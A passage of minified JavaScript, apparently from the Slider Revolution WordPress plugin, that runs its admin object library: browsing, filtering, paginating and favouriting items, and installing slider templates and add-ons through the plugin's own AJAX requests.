0%"})},500)}),RVS.DOC.on("mouseleave",".show_video_on_hover",function(){clearTimeout(window.showVideOnHoverTimer),v()}),RVS.DOC.on("click",".ol_link_to_deeper",function(){RVS.LIB.OBJ.selectedModule=-1,RVS.LIB.OBJ.selectedModuleTitle="",jQuery("#searchobjects").val(""),"moduletemplates"===this.dataset.librarytype?"package_parent"===this.dataset.elementtype?(RVS.LIB.OBJ.selectedPackage=this.dataset.packageid,RVS.LIB.OBJ.selectedPackageTitle=this.dataset.title,v(),RVS.F.updateFilteredList({force:!0,keeppage:!1,noanimation:!1})):"module_parent"===this.dataset.elementtype&&(RVS.LIB.OBJ.lastSelectedType=RVS.LIB.OBJ.selectedType,RVS.LIB.OBJ.selectedModule=this.dataset.packageid,RVS.LIB.OBJ.selectedModuleTitle=this.dataset.title,RVS.LIB.OBJ.selectedType="moduletemplateslides",RVS.F.loadSimpleModule({modules:["moduletemplateslides"],parenttype:"moduletemplates",moduleid:this.dataset.moduleid,module_uid:this.dataset.module_uid,event:"reBuildObjectLibrary"})):"modules"===this.dataset.librarytype?"folder_parent"===this.dataset.elementtype?(RVS.LIB.OBJ.selectedFolder=this.dataset.folderid,RVS.F.resetAllFilters(),RVS.F.updateFilteredList({force:!0,keeppage:!1,noanimation:!1})):"module_parent"===this.dataset.elementtype&&(RVS.LIB.OBJ.lastSelectedType=RVS.LIB.OBJ.selectedType,RVS.LIB.OBJ.selectedModule=this.dataset.packageid,RVS.LIB.OBJ.selectedModuleTitle=this.dataset.title,RVS.LIB.OBJ.selectedType="moduleslides",RVS.F.loadSimpleModule({modules:["moduleslides"],parenttype:"modules",moduleid:this.dataset.moduleid,event:"reBuildObjectLibraryAndCheckSingleSlide"})):"moduleslides"===this.dataset.librarytype&&s(this.dataset.id,this.dataset.slideid),jQuery("#ol_right").scrollTop(0)}),RVS.DOC.on("click",".page_button.ol_pagination",function(){v(),jQuery(".page_button.ol_pagination.selected").removeClass("selected"),RVS.LIB.OBJ.selectedPage=-9999===parseInt(this.dataset.page,0)?RVS.LIB.OBJ.selectedPage=parseInt(RVS.LIB.OBJ.selectedPage,0)-3:9999===parseInt(this.dataset.page,0)?RVS.LIB.OBJ.selectedPage=parseInt(RVS.LIB.OBJ.selectedPage,0)+3:this.dataset.page,jQuery(".page_button.ol_pagination[data-page="+RVS.LIB.OBJ.selectedPage+"]").addClass("selected"),jQuery("#ol_right").scrollTop(0),RVS.F.drawOverview(),m()}),RVS.WIN.on("resize",function(){RVS.LIB.OBJ.open&&(clearTimeout(window.resizedObjectLibraryTimeOut),window.resizedObjectLibraryTimeOut=setTimeout(function(){var e=g();e=e<1?1:e,v(),RVS.LIB.OBJ.maxAmountPerPage!==e&&RVS.F.updateFilteredList({force:!0,keeppage:!0,noanimation:!0})},10))}),RVS.DOC.on("click",".rsl_breadcrumb",function(){RVS.LIB.OBJ.selectedModule=-1,RVS.LIB.OBJ.selectedModuleTitle="",RVS.LIB.OBJ.selectedModuleType="",RVS.LIB.OBJ.selectedType="moduletemplateslides"===RVS.LIB.OBJ.selectedType?"moduletemplates":"moduleslides"===RVS.LIB.OBJ.selectedType?"modules":RVS.LIB.OBJ.selectedType,void 0!==this.dataset.folderid&&(v(),"moduletemplates"===RVS.LIB.OBJ.selectedType&&(RVS.LIB.OBJ.selectedPackage=parseInt(this.dataset.folderid,0)),"modules"===RVS.LIB.OBJ.selectedType&&(RVS.LIB.OBJ.selectedFolder=parseInt(this.dataset.folderid,0),RVS.F.resetAllFilters()),RVS.F.updateFilteredList({force:!0,keeppage:!0,noanimation:!0}))}),RVS.DOC.on("click",".olibrary_favorit",function(){var e=jQuery(this),t={do:"add",type:this.dataset.librarytype,id:this.dataset.id};e.toggleClass("selected"),e.hasClass("selected")||(t.do="remove"),RVS.F.ajaxRequest("set_favorite",t,function(e){e.success&&(function(e){for(var t in RVS.LIB.OBJ.items[e.type])RVS.LIB.OBJ.items[e.type].hasOwnProperty(t)&&""+RVS.LIB.OBJ.items[e.type][t].id==""+e.id&&(RVS.LIB.OBJ.items[e.type][t].favorite="add"===e.do)}(t),RVS.F.updateFilteredList({force:!0,keeppage:!0,noanimation:!0}))})}),RVS.DOC.on("click","#obj_updatefromserver",function(){RVS.F.updateObjectLibraryFromServer(RVS.LIB.OBJ.selectedType)}),RVS.DOC.on("click","#obj_fil_favorite",function(){var e=jQuery(this);e.toggleClass("selected"),v(),RVS.F.updateFilteredList({force:!0,keeppage:!0,noanimation:!0})}),RVS.DOC.on("keyup","#searchobjects",function(){v(),clearTimeout(window.searchKeyUp),window.searchKeyUp=setTimeout(function(){RVS.F.updateFilteredList({force:!0,keeppage:!1,noanimation:!1}),RVS.LIB.OBJ.container_OutputWrap.RSScroll("update")},200)}),RVS.DOC.on("change",".redownloadTemplateState",function(){RVS.LIB.OBJ.reDownloadTemplate=this.checked}),RVS.DOC.on("change",".createBlankPageState",function(){RVS.LIB.OBJ.createBlankPage=this.checked}),RVS.F.addonInstalledFromTemplate=function(e,t){RVS.LIB.OBJ.addonsToInstall.splice(0,1);var i=t.replace(/-/g,"_"),a=jQuery("#ale_"+t+" .rs_alethumb_img");void 0!==RVS.LIB.ADDONS&&void 0!==RVS.LIB.ADDONS[t]&&RVS.LIB.ADDONS[t].global&&!RVS.S.ovMode&&(RVS.SLIDER.settings.addOns[t]=void 0===RVS.SLIDER.settings.addOns[t]?{}:RVS.SLIDER.settings.addOns[t],RVS.SLIDER.settings.addOns[t].enable=!0,RVS.LIB.ADDONS[t].enable=!0),void 0!==RVS.LIB.ADDONS&&void 0!==RVS.LIB.ADDONS[t]&&(RVS.LIB.ADDONS[t].active=!0),window[i]=e[t],"undefined"==typeof revbuilder||void 0!==RVS.SLIDER.settings&&RVS.SLIDER.settings.addOns.hasOwnProperty(t)?window[i].enabled=RVS.F._d(RVS.F._truefalse(window[i].enabled),!RVS.S.ovMode&&void 0!==RVS.SLIDER.settings.addOns[t]&&RVS.SLIDER.settings.addOns[t].enable):window[i].enabled=!0,tpGS.gsap.fromTo(a,2,{zIndex:"13",clip:"rect(95px 95px 95px 95px)"},{clip:"rect(0px 190px 190px 0px)"}),jQuery("#ale_"+t+" .rs_ale_enabled").show(),RVS.F.showAddonInfos(t),RVS.F.addonInstalledOnDemand(t)},RVS.F.installSingleModuleTemplate=function(e){if(RVS.LIB.OBJ.addonsToInstall.length>0){var t=RVS.LIB.OBJ.addonsToInstall[0];RVS.F.ajaxRequest("activate_addon",{addon:t},function(i){void 0!==RVS.LIB.ADDONS&&void 0!==RVS.LIB.ADDONS[t]&&1==RVS.LIB.ADDONS[t].installed?(RVS.F.addonInstalledFromTemplate(i,t),RVS.F.installSingleModuleTemplate(e)):(RVS.LIB.ADDONS[t].installed=!0,RVS.F.installSingleModuleTemplate(e))},void 0,void 0,RVS_LANG.installingaddon+'
'+RVS.LIB.OBJ.addonsToInstall[0]+"")}else RVS.F.ajaxRequest("import_template_slider",e,function(t){t.success&&(RVS.LIB.OBJ.sliderPackageIds.push(t.slider.id),void 0!==RVS.LIB.OBJ.success&&void 0!==RVS.LIB.OBJ.success.slider&&RVS.DOC.trigger(RVS.LIB.OBJ.success.slider,t),RVS.LIB.OBJ.createBlankPage&&RVS.LIB.OBJ.success&&RVS.LIB.OBJ.success.draftpage&&RVS.DOC.trigger(RVS.LIB.OBJ.success.draftpage,{pages:RVS.LIB.OBJ.sliderPackageIds}),p({uid:e.uid,hiddensliderid:t.hiddensliderid})),RVS.F.closeObjectLibrary()},void 0,void 0,RVS_LANG.installtemplate+'
'+e.title+"")},RVS.F.installModuleTemplateForPackage=function(e){if(RVS.LIB.OBJ.addonsToInstall.length>0){var t=RVS.LIB.OBJ.addonsToInstall[0];RVS.F.ajaxRequest("activate_addon",{addon:t},function(i){void 0!==RVS.LIB.ADDONS&&void 0!==RVS.LIB.ADDONS[t]&&1==RVS.LIB.ADDONS[t].installed?(RVS.F.addonInstalledFromTemplate(i,t),RVS.F.installModuleTemplateForPackage(e)):(RVS.LIB.ADDONS[t].installed=!0,RVS.F.installModuleTemplateForPackage(e))},void 0,void 0,RVS_LANG.installingaddon+'
'+RVS.LIB.OBJ.addonsToInstall[0]+"")}else RVS.F.ajaxRequest("import_template_slider",e,function(t){t.success&&(t.silent=!0,t.ignoreAjaxFolderMove=!0,e.modal&&(t.slider.modal=jQuery.inArray(""+t.hiddensliderid,RVS.LIB.OBJ.sliderPackageModalsOrig)>=0||jQuery.inArray(t.uid,RVS.LIB.OBJ.sliderPackageModalsOrigUid)>=0,p({uid:e.uid,hiddensliderid:t.hiddensliderid,modal:t.slider.modal})),void 0!==RVS.LIB.OBJ.success&&void 0!==RVS.LIB.OBJ.success.slider&&RVS.DOC.trigger(RVS.LIB.OBJ.success.slider,t),RVS.LIB.OBJ.sliderPackageIds.push(t.slider.id),void 0!==t.map&&void 0!==t.map.slider&&(RVS.LIB.OBJ.sliderPackageReferenceMap.slider_map=jQuery.extend(!0,RVS.LIB.OBJ.sliderPackageReferenceMap.slider_map,t.map.slider)),void 0!==t.map&&void 0!==t.map.slides&&(RVS.LIB.OBJ.sliderPackageReferenceMap.slides_map=jQuery.extend(!0,RVS.LIB.OBJ.sliderPackageReferenceMap.slides_map,t.map.slides)),e.modal?t.slider.modal&&RVS.LIB.OBJ.sliderPackageModals.push(t.slider.id):(jQuery.inArray(""+t.hiddensliderid,RVS.LIB.OBJ.sliderPackageModalsOrig)>=0||jQuery.inArray(t.uid,RVS.LIB.OBJ.sliderPackageModalsOrigUid)>=0)&&RVS.LIB.OBJ.sliderPackageModals.push(t.slider.id),void 0!==RVS.LIB.OBJ.sliderPackageAdditionsUID[t.uid]&&(RVS.LIB.OBJ.sliderPackageAdditions[t.slider.id]=RVS.LIB.OBJ.sliderPackageAdditionsUID[t.uid]),e.modal||void 0!==RVS.LIB.OBJ.sliderPackageAdditionsInstalled[t.hiddensliderid]&&(RVS.LIB.OBJ.sliderPackageAdditions[t.slider.id]=RVS.LIB.OBJ.sliderPackageAdditionsInstalled[t.hiddensliderid])),e._.index++,o(e._)},void 0,void 0,RVS_LANG.installpackage+'
'+e._.name+" ("+(e._.index+1)+" / "+(e._.amount+1)+")")},RVS.DOC.on("click",".olti_install_template",function(){if("true"===RVS.ENV.activated||!0===RVS.ENV.activated){var e=this.dataset.uid,t=c(e);if(RVS.LIB.OBJ.sliderPackageIds=[],RVS.LIB.OBJ.addonsToInstall=[],void 0!==t.plugin_require&&null!=t.plugin_require&&t.plugin_require.length>0)for(var i in t.plugin_require)!1===t.plugin_require[i].installed&&RVS.LIB.OBJ.addonsToInstall.push(t.plugin_require[i].path.split("/")[0]);RVS.F.installSingleModuleTemplate(RVS.LIB.OBJ.reDownloadTemplate||0==t.installed?{uid:e,install:!0,title:this.dataset.title}:{uid:this.dataset.uid,sliderid:t.installed,title:this.dataset.title})}else RVS.F.showRegisterSliderInfo()}),RVS.DOC.on("click",".olti_install_template_package",function(){if("true"===RVS.ENV.activated||!0===RVS.ENV.activated){if(void 0!==this.dataset&&void 0!==this.dataset.uids){var e=this.dataset.uids.split(","),t=this.dataset.folderuid;RVS.F.createNewFolder({foldername:this.dataset.package,enter:!0,callBack:"sliderPackageInstall",callBackParam:{uids:e,index:0,folderuid:t,name:this.dataset.package,createBlankPage:RVS.LIB.OBJ.createBlankPage,amount:e.length-1}})}}else RVS.F.showRegisterSliderInfo()}),RVS.DOC.on("sliderPackageInstall",function(e,t){RVS.LIB.OBJ.sliderPackageIds=[],RVS.LIB.OBJ.sliderPackageReferenceMap=new Object,RVS.LIB.OBJ.sliderPackageReferenceMap.slider_map=new Object,RVS.LIB.OBJ.sliderPackageReferenceMap.slides_map=new Object,RVS.LIB.OBJ.sliderPackageModals=[],RVS.LIB.OBJ.sliderPackageModalsOrig=[],RVS.LIB.OBJ.sliderPackageModalsOrigUid=[],RVS.LIB.OBJ.sliderPackageModal=!1,RVS.LIB.OBJ.sliderPackageAdditions={},RVS.LIB.OBJ.sliderPackageAdditionsUID={},RVS.LIB.OBJ.sliderPackageAdditionsInstalled={},o(t)}),RVS.LIB.OBJ.types.svgcustom=jQuery.extend(!0,{tags:{},upload:{buttonText:'publish '+RVS_LANG.importsvgfiles,callBack:function(e){RVS.F.customSVGUpload(e)}}},RVS.LIB.OBJ.types.svgcustom),RVS_LANG.ol_svgcustom="My SVG Library",RVS.F.buildObjectLibrary(e),RVS.LIB.OBJ.items={},RVS.LIB.OBJ.search=jQuery("#searchobjects"),RVS.LIB.OBJ.infoPlus=jQuery("#rs_extra_objlib_info"),RVS.LIB.OBJ.uploadCustoms=jQuery("#upload_custom_files"),RVS.LIB.OBJ.inited=!0,jQuery("#ol_results_wrap").on("dragover dragenter",function(e){if(void 0!==RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].upload){var t=e.originalEvent.dataTransfer;t.types&&(t.types.indexOf?-1!=t.types.indexOf("Files"):t.types.contains("Files"))&&!RVS.S.dragginginside&&0===jQuery("#filedrop").length&&RVS.F.browserDroppable.init({onlydrop:!1,type:"custom",callBack:RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].upload.callBack,success:"uploadCustomObject",action:"add_to_media_library"})}}),RVS.DOC.on("click","#upload_custom_files",function(){RVS.F.runCustomObjectImport()})},RVS.F.runCustomObjectImport=function(){RVS.F.browserDroppable.init({onlydrop:!1,success:"uploadCustomObject",type:"custom",callBack:RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].upload.callBack})},RVS.DOC.on("runCustomObjectImport",RVS.F.runCustomObjectImport),RVS.F.extendFilterIcons=function(t){e[t.handle]=t.icon},RVS.F.extendLibTypes=function(e){RVS.LIB.OBJ.types=jQuery.extend(!0,e,RVS.LIB.OBJ.types)},RVS.F.openObjectLibrary=function(e){RVS.LIB.OBJ.open=!0,e=void 0===e?{types:"all",filter:"all",selected:["moduletemplates"],success:{slider:"addNewSlider"}}:e,RVS.S.isRTL=void 0===RVS.S.isRTL?jQuery(document.body).hasClass("rtl"):RVS.S.isRTL,RVS.LIB.OBJ.inited||RVS.F.initObjectLibrary(),!0!==e.silent&&(tpGS.gsap.fromTo(RVS.LIB.OBJ.container_Library,.7,{scale:.8,autoAlpha:0,display:"none"},{autoAlpha:1,display:"block",scale:1,ease:"power3.inOut"}),tpGS.gsap.fromTo("#ol_header, #ol_footer",.5,{autoAlpha:0,ease:"power3.inOut"},{autoAlpha:1,opacity:1,ease:"power3.inOut",delay:.5})),RVS.LIB.OBJ.staticalso=e.staticalso,RVS.LIB.OBJ.success=e.success,RVS.LIB.OBJ.selectedType=e.selected[0],RVS.LIB.OBJ.selectedFilter=e.filter,RVS.LIB.OBJ.selectedFolder=-1,RVS.LIB.OBJ.selectedPage=0,RVS.LIB.OBJ.selectedPackage=-1,RVS.LIB.OBJ.selectedModule=-1,RVS.LIB.OBJ.selectedModuleTitle="",RVS.LIB.OBJ.slideParent=-1,RVS.LIB.OBJ.reDownloadTemplate=!1,RVS.LIB.OBJ.createBlankPage=!1,RVS.LIB.OBJ.data=e.data,RVS.LIB.OBJ.context=void 0===e.context?"overview":"editor",RVS.LIB.OBJ.depth=void 0===e.depth?"slide":e.depth,jQuery(".ol_filter_type.selected").removeClass("selected"),jQuery(".ol_filter_type.open").removeClass("open"),"all"!==e.types?RVS.LIB.OBJ.container_Filters.find(".ol_filter_type").each(function(){void 0!==e.types&&(jQuery.inArray(this.dataset.type,e.types)>=0||e.types.includes(this.dataset.type))?jQuery(this).show():jQuery(this).hide()}):RVS.LIB.OBJ.container_Filters.find(".ol_filter_type").show();var t=jQuery("#ol_filter_"+e.selected);t.addClass("open"),t.find(".ol_filter_headerelement").addClass("selected"),t.find('.ol_filter_listelement[data-filter="'+e.filter+'"]').addClass("selected"),u(!0),RVS.F.loadLibrary({modules:e.selected,event:void 0!==e.event?e.event:"reBuildObjectLibrary"}),!1===e.updatelist?jQuery("#obj_updatefromserver").hide():jQuery("#obj_updatefromserver").show(),RVS.S.bodybeforeOpenLibrary=document.body.style.overflow,document.body.style.overflow="hidden"},RVS.F.reBuildObjectLibrary=function(){RVS.F.updateFilteredList()},RVS.F.updateObjectLibraryFromServer=function(e,t){RVS.F.removeModuleTemplatesFromLibrary(e),RVS.LIB.OBJ.refreshFromServer=!0,RVS.F.loadLibrary({modules:[e],event:"reBuildObjectLibrary",silent:t})},RVS.F.removeModuleTemplatesFromLibrary=function(e){delete RVS.LIB.OBJ.types[e],delete RVS.LIB.OBJ.items[e],RVS.LIB.OBJ.selectedType=e,RVS.LIB.OBJ.lastSelectedType=e,RVS.LIB.OBJ.filteredList=[],RVS.LIB.OBJ.oldList=[],RVS.LIB.OBJ.pages=[],RVS.LIB.OBJ.container_Output[0].innerHTML=""},RVS.F.rebuildObjectFilter=function(e){a(e)},RVS.F.loadLibrary=function(e){var t=[],i=[];for(var r in e.modules)e.modules.hasOwnProperty(r)&&(RVS.LIB.OBJ.types[e.modules[r]]=void 0===RVS.LIB.OBJ.types[e.modules[r]]?{}:RVS.LIB.OBJ.types[e.modules[r]],RVS.LIB.OBJ.items[e.modules[r]]=void 0===RVS.LIB.OBJ.items[e.modules[r]]?[]:RVS.LIB.OBJ.items[e.modules[r]],!0!==RVS.LIB.OBJ.types[e.modules[r]].loaded||0===RVS.LIB.OBJ.items[e.modules[r]].length?t.push(e.modules[r]):i.push(e.modules[r]));t.length>0&&RVS.F.ajaxRequest("load_module",{module:t,refresh_from_server:RVS.LIB.OBJ.refreshFromServer},function(t){if(t.success){for(var i in t.modules)if(t.modules.hasOwnProperty(i)){for(var r in RVS.LIB.OBJ.items[i]=void 0===RVS.LIB.OBJ.items[i]?[]:RVS.LIB.OBJ.items[i],t.modules[i].items)t.modules[i].items.hasOwnProperty(r)&&(RVS.LIB.OBJ.items[i][r]=t.modules[i].items[r],RVS.LIB.OBJ.items[i][r].libraryType=i,void 0===RVS.LIB.OBJ.items[i][r].id&&(RVS.LIB.OBJ.items[i][r].id=r));void 0!==t.modules[i].tags&&(RVS.LIB.OBJ.types[i].tags=t.modules[i].tags,a(i)),RVS.LIB.OBJ.types[i].loaded=!0}if(void 0!==e.event&&RVS.DOC.trigger(e.event,e.eventparam),RVS.LIB.OBJ.success&&RVS.LIB.OBJ.success.event){let e=RVS.LIB.OBJ.success.eventparam||!1;RVS.DOC.trigger(RVS.LIB.OBJ.success.event,e)}}},!!e.silent||void 0,!!e.silent||void 0,!!e.silent||void 0,!e.silent&&void 0,!!e.silent||void 0),i.length>0&&0===t.length&&void 0!==e.event&&RVS.DOC.trigger(e.event,e.eventparam),RVS.LIB.OBJ.refreshFromServer=!1},RVS.F.loadSimpleModule=function(e){var t=!1;for(var i in RVS.LIB.OBJ.items[e.modules[0]])RVS.LIB.OBJ.items[e.modules[0]].hasOwnProperty(i)&&(t=!0===t||RVS.LIB.OBJ.items[e.modules[0]][i].parent==e.moduleid);t?void 0!==e.event&&RVS.DOC.trigger(e.event,e.eventparam):RVS.F.ajaxRequest("load_module",{module:e.modules[0],module_id:e.moduleid,module_uid:e.module_uid,static:RVS.LIB.OBJ.staticalso},function(t){if(t.success){for(var i in t.modules)if(t.modules.hasOwnProperty(i)){RVS.LIB.OBJ.items[i]=void 0===RVS.LIB.OBJ.items[i]?[]:RVS.LIB.OBJ.items[i];var a=RVS.LIB.OBJ.items[i].length,r=RVS.F.getModuleIndex(e.moduleid,e.parenttype),o=RVS.LIB.OBJ.items[e.parenttype][r].title;for(var s in t.modules[i].items)t.modules[i].items.hasOwnProperty(s)&&(t.modules[i].items[s].libraryType=i,t.modules[i].items[s].moduleid=e.moduleid,t.modules[i].items[s].module_uid=e.module_uid,t.modules[i].items[s].parenttitle=o,t.modules[i].items[s].slideid=void 0===t.modules[i].items[s].id?s:t.modules[i].items[s].id,t.modules[i].items[s].id=parseInt(a,0)+parseInt(s,0),RVS.LIB.OBJ.items[i].push(t.modules[i].items[s]))}void 0!==e.event&&RVS.DOC.trigger(e.event,e.eventparam)}})},RVS.F.addonInstalledOnDemand=function(e){var t=!1;if(void 0!==RVS.LIB.OBJ&&void 0!==RVS.LIB.OBJ.items){for(var i in RVS.LIB.OBJ.items.moduletemplates)if(RVS.LIB.OBJ.items.moduletemplates.hasOwnProperty(i)){var a=RVS.LIB.OBJ.items.moduletemplates[i];for(var r in a.plugin_require)if(a.plugin_require.hasOwnProperty(r)){var o=a.plugin_require[r].path.split("/");(o=o[o.length-1].split(".php")[0])!==e&&a.plugin_require[r].name!==e||(a.plugin_require[r].installed=!0,a&&a.ref&&a.ref.remove(),delete a.ref,t=!0)}}t&&RVS.F.updateFilteredList({force:!0,keeppage:!1,noanimation:!1})}},RVS.F.updateParentAttributes=function(){if(window.parentAttributesUpdateForObjects)return!1;for(var e in RVS.LIB.OBJ.items.modules)if(RVS.LIB.OBJ.items.modules.hasOwnProperty(e)&&RVS.LIB.OBJ.items.modules[e].folder)for(var t in window.parentAttributesUpdateForObjects=!0,RVS.LIB.OBJ.items.modules[e].children)if(RVS.LIB.OBJ.items.modules[e].children.hasOwnProperty(t)){var i=RVS.F.getSliderIndex(RVS.LIB.OBJ.items.modules[e].children[t]);-1!==i&&(RVS.LIB.OBJ.items.modules[i].parent=RVS.LIB.OBJ.items.modules[e].id)}},RVS.F.updateFilteredList=function(e){if(e=void 0===e?{force:!1,keeppage:!1,noanimation:!1,focusItem:!1}:e,void 0!==RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType]&&void 0!==RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].infoPlus?RVS.LIB.OBJ.infoPlus[0].innerHTML=RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].infoPlus:RVS.LIB.OBJ.infoPlus[0].innerHTML="",void 0!==RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType]&&void 0!==RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].upload?(RVS.LIB.OBJ.uploadCustoms[0].innerHTML=RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].upload.buttonText,RVS.LIB.OBJ.uploadCustoms[0].style.display="block"):(RVS.LIB.OBJ.uploadCustoms[0].innerHTML="",RVS.LIB.OBJ.uploadCustoms[0].style.display="none"),-1!==RVS.LIB.OBJ.selectedPackage)RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].sort(function(e,t){return e.package_order-t.package_order}),RVS.LIB.OBJ.container_Sorting.hide();else switch(RVS.LIB.OBJ.container_Sorting.show(),RVS.LIB.OBJ.container_Library.find("#sel_olibrary_sorting")[0].value){case"datedesc":"moduletemplateslides"===RVS.LIB.OBJ.selectedType||"moduleslides"===RVS.LIB.OBJ.selectedType?RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].sort(function(e,t){return e.id-t.id}):RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].sort(function(e,t){return t.id-e.id});break;case"title":RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].sort(function(e,t){return e.title.toUpperCase().localeCompare(t.title.toUpperCase())});break;case"titledesc":RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].sort(function(e,t){return t.title.toUpperCase().localeCompare(e.title.toUpperCase())});break;default:RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].sort(function(e,t){return e.id-t.id})}RVS.LIB.OBJ.selectedFolder=parseInt(RVS.LIB.OBJ.selectedFolder,0),RVS.LIB.OBJ.oldlist=RVS.LIB.OBJ.filteredList,RVS.LIB.OBJ.filteredList=[];var t=jQuery("#searchobjects").val().toLowerCase(),i=jQuery("#obj_fil_favorite").hasClass("selected");for(var a in"modules"===RVS.LIB.OBJ.selectedType&&RVS.F.updateParentAttributes(),RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType])if(RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].hasOwnProperty(a)){var r=RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType][a];r.parent=void 0===r.parent?-1:r.parent;var o=h(r.parent),s={a:!i||r.favorite};s.a&&(s.samefolder=jQuery.inArray(RVS.LIB.OBJ.selectedFolder,o)>=0||jQuery.inArray(""+RVS.LIB.OBJ.selectedFolder,o)>=0,s.b=t.length>2&&s.samefolder&&r.title.toLowerCase().indexOf(t)>=0&&("all"==RVS.LIB.OBJ.selectedFilter||f({o:r,filter:RVS.LIB.OBJ.selectedFilter})),s.c=t.length<3&&RVS.LIB.OBJ.selectedType===r.libraryType&&"all"==RVS.LIB.OBJ.selectedFilter&&parseInt(r.parent,0)==RVS.LIB.OBJ.selectedFolder,s.d=t.length<3&&RVS.LIB.OBJ.selectedType===r.libraryType&&f({o:r,filter:RVS.LIB.OBJ.selectedFilter})&&s.samefolder,s.db="moduletemplates"===RVS.LIB.OBJ.selectedType&&-1!==RVS.LIB.OBJ.selectedPackage&&""+r.package_parent!="true"&&r.package_id==RVS.LIB.OBJ.selectedPackage,s.e="moduletemplateslides"===RVS.LIB.OBJ.selectedType||"moduleslides"===RVS.LIB.OBJ.selectedType,(s.b||s.c||s.d||s.e||s.db)&&(s.f=i&&r.favorite&&(-1==RVS.LIB.OBJ.selectedPackage||""+r.package_id==""+RVS.LIB.OBJ.selectedPackage),s.g="moduletemplates"===RVS.LIB.OBJ.selectedType&&(t.length>2||-1==RVS.LIB.OBJ.selectedPackage&&(null==r.package_id||"true"==r.package_parent)||-1!==RVS.LIB.OBJ.selectedPackage&&r.package_id==RVS.LIB.OBJ.selectedPackage&&"true"!=r.package_parent),s.h=("moduletemplateslides"===RVS.LIB.OBJ.selectedType||"moduleslides"===RVS.LIB.OBJ.selectedType)&&RVS.LIB.OBJ.selectedModule==r.parent,s.i="moduletemplates"!==RVS.LIB.OBJ.selectedType&&"moduletemplateslides"!==RVS.LIB.OBJ.selectedType&&"moduleslides"!==RVS.LIB.OBJ.selectedType,(s.f||s.g||s.h||s.i)&&RVS.LIB.OBJ.filteredList.push(r.id)))}RVS.LIB.OBJ.filteredList.length>1&&void 0!==RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType]&&void 0!==RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].upload&&(" "+RVS.LIB.OBJ.filteredList[0]).indexOf("_99999")>=0&&RVS.LIB.OBJ.filteredList.splice(0,1),(e.force||JSON.stringify(RVS.LIB.OBJ.oldlist)!==JSON.stringify(RVS.LIB.OBJ.filteredList))&&(RVS.F.buildPagination({keeppage:e.keeppage,focusItem:e.focusitem}),RVS.F.drawOverview({noanimation:e.noanimation,focusItem:e.focusItem})),RVS.LIB.OBJ.container_OutputWrap.RSScroll("update")},RVS.F.drawOverview=function(e){if(e=void 0===e?{noanimation:!1}:e,RVS.LIB.OBJ.container_Output.find(".rsl_breadcrumb_wrap").remove(),-1!==RVS.LIB.OBJ.selectedFolder||-1!==RVS.LIB.OBJ.selectedPackage||-1!==RVS.LIB.OBJ.selectedModule){var t='
';t+='
apps'+RVS_LANG.simproot+"
",t+='keyboard_arrow_right';var i="";if(-1!==RVS.LIB.OBJ.selectedFolder){for(var a=RVS.LIB.OBJ.selectedFolder,r=0;-1!==a&&100!==r;){var o="moduleslides"===RVS.LIB.OBJ.selectedType?"modules":RVS.LIB.OBJ.selectedType,s=RVS.F.getModuleIndex(a,o);-1!==s&&"-1"!==s?(i='
folder_open'+RVS.LIB.OBJ.items[o][s].title+'
keyboard_arrow_right'+i,a=RVS.LIB.OBJ.items[o][s].parent||-1,r++):(r=100,RVS.LIB.OBJ.selectedModule=-1,RVS.LIB.OBJ.selectedModuleTitle="",RVS.LIB.OBJ.selectedModuleType="",v(),"moduletemplates"===RVS.LIB.OBJ.selectedType&&(RVS.LIB.OBJ.selectedPackage=-1),"modules"===RVS.LIB.OBJ.selectedType&&(RVS.LIB.OBJ.selectedFolder=-1,RVS.F.resetAllFilters()),RVS.F.updateFilteredList({force:!0,keeppage:!0,noanimation:!0}))}t+=i}t+=-1!==RVS.LIB.OBJ.selectedPackage?'
'+RVS.LIB.OBJ.selectedPackageTitle+"
":'
',t+=-1!==RVS.LIB.OBJ.selectedModule?-1!==RVS.LIB.OBJ.selectedPackage?'keyboard_arrow_right
'+RVS.LIB.OBJ.selectedModuleTitle+"
":'
'+RVS.LIB.OBJ.selectedModuleTitle+"
":"editor"!==RVS.LIB.OBJ.context?"":'
',"editor"!==RVS.LIB.OBJ.context&&0==RVS.F.getFolderSize(RVS.LIB.OBJ.selectedFolder)&&(t+='
blockFolder is Empty
'),t+="
",RVS.LIB.OBJ.container_Output.append(t)}if(void 0!==RVS.LIB.OBJ.lastSelectedType&&RVS.LIB.OBJ.lastSelectedType!==RVS.LIB.OBJ.selectedType)for(var l in RVS.LIB.OBJ.items[RVS.LIB.OBJ.lastSelectedType])void 0!==RVS.LIB.OBJ.items[RVS.LIB.OBJ.lastSelectedType][l].ref&&RVS.LIB.OBJ.items[RVS.LIB.OBJ.lastSelectedType][l].ref.detach();if(RVS.LIB.OBJ.lastSelectedType=RVS.LIB.OBJ.selectedType,RVS.LIB.OBJ.selectedPage=void 0===RVS.LIB.OBJ.selectedPage?1:RVS.LIB.OBJ.selectedPage,RVS.LIB.OBJ.waitForLoad=[],RVS.LIB.OBJ.waitForLoadIndex=0,jQuery.inArray(RVS.LIB.OBJ.selectedType,["fonticons","images","layers","modules","moduletemplateslides","moduletemplates","moduleslides","objects","svgs","videos"])>=0){for(var l in RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType])if(RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].hasOwnProperty(l)){var n=RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType][l];jQuery.inArray(n.id,RVS.LIB.OBJ.pages[RVS.LIB.OBJ.selectedPage-1])>=0&&void 0===n.ref&&(void 